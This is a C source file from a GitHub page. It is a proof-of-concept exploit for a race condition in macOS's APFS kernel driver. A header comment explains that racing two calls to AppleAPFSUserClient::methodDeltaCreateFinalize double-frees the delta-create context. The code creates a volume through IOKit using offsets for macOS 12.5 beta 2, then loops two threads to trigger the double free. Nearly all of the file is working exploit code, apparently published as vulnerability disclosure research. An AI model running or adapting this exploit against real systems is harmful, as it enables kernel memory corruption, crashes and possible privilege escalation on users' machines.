-
Notifications
You must be signed in to change notification settings - Fork 11
/
Copy pathmain.c
132 lines (104 loc) · 3.27 KB
/
main.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
/*
The vulnerability exists in AppleAPFSUserClient::methodDeltaCreateFinalize (external method 49).
This method calls directly through to AppleAPFSContainer::deltaCreateTeardown, which is not a thread-safe method, without holding a lock.
This means that it is possible for an attacker to double-free the delta_create_ctx, and related properties, by racing two calls to AppleAPFSUserClient::methodDeltaCreateFinalize.
Tommy Muir (@Muirey03)
*/
#include <stdio.h>
#include <mach/mach.h>
#include <IOKit/IOKitLib.h>
#include <pthread.h>
#include <signal.h>
#define VOLUME_NUM 45
//macOS 12.5 beta 2 offsets:
#define methodVolumeCreate_INSZ 0x1f8
#define QUOTA_SZ_OFF 32
#define SLOT_NUM_OFF 48
#define ROLE_OFF 54
#define NAME_OFF 56
#define methodDeltaCreatePrepare_INSZ 0x30
static io_connect_t client = MACH_PORT_NULL;
static uint volume_num = -1;
static volatile char start = 0;
kern_return_t create_volume(void) {
kern_return_t kr;
// methodVolumeCreate (0)
char input[methodVolumeCreate_INSZ] = {0};
size_t outSz = 4;
uint output;
*(uint*)&input[QUOTA_SZ_OFF] = 0x40000002; //quota size
*(uint*)&input[SLOT_NUM_OFF] = VOLUME_NUM;
*(uint16_t*)&input[ROLE_OFF] = 1 << 6; //data role
strcpy(&input[NAME_OFF], "targetvolume"); //volume name
kr = IOConnectCallStructMethod(client, 0, input, methodVolumeCreate_INSZ, &output, &outSz);
printf("methodVolumeCreate: %s (0x%x)\n", mach_error_string(kr), kr);
if (kr == KERN_SUCCESS)
volume_num = output;
return kr;
}
void delete_volume(uint num) {
// methodVolumeDelete (1)
uint input = num;
IOConnectCallStructMethod(client, 1, &input, sizeof(input), NULL, NULL);
}
kern_return_t prepare(void) {
kern_return_t kr;
// methodDeltaCreatePrepare (36)
char input[methodDeltaCreatePrepare_INSZ] = {0};
size_t outSz = 0x10;
char output[0x10];
uint sz = 0x20000;
void* addr = calloc(sz, 1);
*(void**)input = addr;
((uint*)input)[2] = sz;
((uint*)input)[3] = volume_num;
kr = IOConnectCallStructMethod(client, 36, input, methodDeltaCreatePrepare_INSZ, output, &outSz);
printf("methodDeltaCreatePrepare: %s (0x%x)\n", mach_error_string(kr), kr);
free(addr);
return kr;
}
void* racer(void* arg) {
while (!start) {}
kern_return_t kr;
// methodDeltaCreateFinalize (49) <-- THIS IS WHERE THE BUG IS
kr = IOConnectCallStructMethod(client, 49, NULL, 0, NULL, NULL);
return NULL;
}
void int_handler(int sig) {
if (volume_num != -1) {
delete_volume(volume_num);
volume_num = -1;
}
exit(0);
}
int main(int argc, char *argv[], char *envp[]) {
//clean-up if we receive an interrupt:
struct sigaction act = {.sa_handler = int_handler, .sa_mask = SIGINT};
sigaction(SIGINT, &act, NULL);
//open client:
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleAPFSContainer"));
IOServiceOpen(service, mach_task_self(), 0, &client);
IOObjectRelease(service);
//exploit:
kern_return_t kr = create_volume();
if (kr == KERN_SUCCESS) {
for (;;) {
kr = prepare();
if (kr == KERN_SUCCESS) {
pthread_t t0, t1;
pthread_create(&t0, NULL, racer, NULL);
pthread_create(&t1, NULL, racer, NULL);
start = 1;
pthread_join(t0, NULL);
pthread_join(t1, NULL);
start = 0;
} else {
break;
}
}
delete_volume(volume_num);
volume_num = -1;
}
IOServiceClose(client);
return 0;
}